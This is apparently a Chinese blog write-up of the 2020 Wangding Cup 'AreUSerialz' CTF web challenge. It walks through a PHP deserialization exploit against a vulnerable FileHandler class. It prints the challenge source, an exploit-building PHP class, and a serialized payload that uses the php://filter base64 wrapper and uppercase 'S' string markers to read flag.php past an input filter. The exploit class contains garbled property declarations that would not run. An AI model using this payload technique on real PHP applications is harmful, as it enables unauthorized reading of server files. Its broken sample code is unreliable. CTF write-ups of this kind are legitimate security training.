← 返回首页

2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup

作者:loecho
发布时间:2020-05-11 13:28:16
浏览:13277    评论:15

2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup

2020-05-11 13:28:16 15 13277

0x02 AreUSerialz

关于s大写小写问题,可以看p神在圈子里发的,我在最后付上截图

考点: php反序列化 php特性 利用链构造

1.打开页面得到代码如下:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

   protected $op;

   protected $filename;

   protected $content;

   function __construct() {

        $op = "1";

        $filename = "/tmp/tmpfile";

        $content = "Hello World!";

        $this->process();   

    }
    public function process() {

        if($this->op == "1") {

            $this->write();       

        } else if($this->op == "2") {

            $res = $this->read();

            $this->output($res);

        } else {

            $this->output("Bad Hacker!");

        }
    }
    private function write() {

        if(isset($this->filename) && isset($this->content)) {

            if(strlen((string)$this->content) > 100) {

                $this->output("Too long!");

                die();

            }

            $res = file_put_contents($this->filename, $this->content);

            if($res) $this->output("Successful!");

            else $this->output("Failed!");

        } else {

            $this->output("Failed!");

        }

    }

    private function read() {

        $res = "";

        if(isset($this->filename)) {

            $res = file_get_contents($this->filename);

        }

        return $res;

    }



    private function output($s) {

        echo "[Result]: <br>";

        echo $s;

    }

    function __destruct() {

        if($this->op === "2")

            $this->op = "1";

        $this->content = "";

        $this->process();

    }
}

function is_valid($s) {

    for($i = 0; $i < strlen($s); $i++)

        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

            return false;

    return true;

}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];

    if(is_valid($str)) {

        $obj = unserialize($str);
    }
}

<?php

highlight_file(__FILE__);

class FileHandler {

    protected $op=2;

    protected $op=filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";

    protected $op=loecho;
}

$FileHandler = new FileHandler();

$test = serialize($FileHandler);

echo $test;

运行结果如下:

得到序列化数据:

O:11:"FileHandler":3:{s:5:"\00*\00op";i:2;s:11:"\00*\00filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:10:"\00*\00content";s:6:"loecho";}
str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"\00*\00content";S:6:"loecho";}

1. Paylaod打过去,看结果:

相关资料:

01.  在线复现:  https://buuoj.cn/challenges
02. 反序列化基础: https://bealright.github.io/2019/08/12/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0(%E4%B8%80)/
类别 CTF交流

关于作者

loecho7篇文章46篇回复

RedTeam@Frashman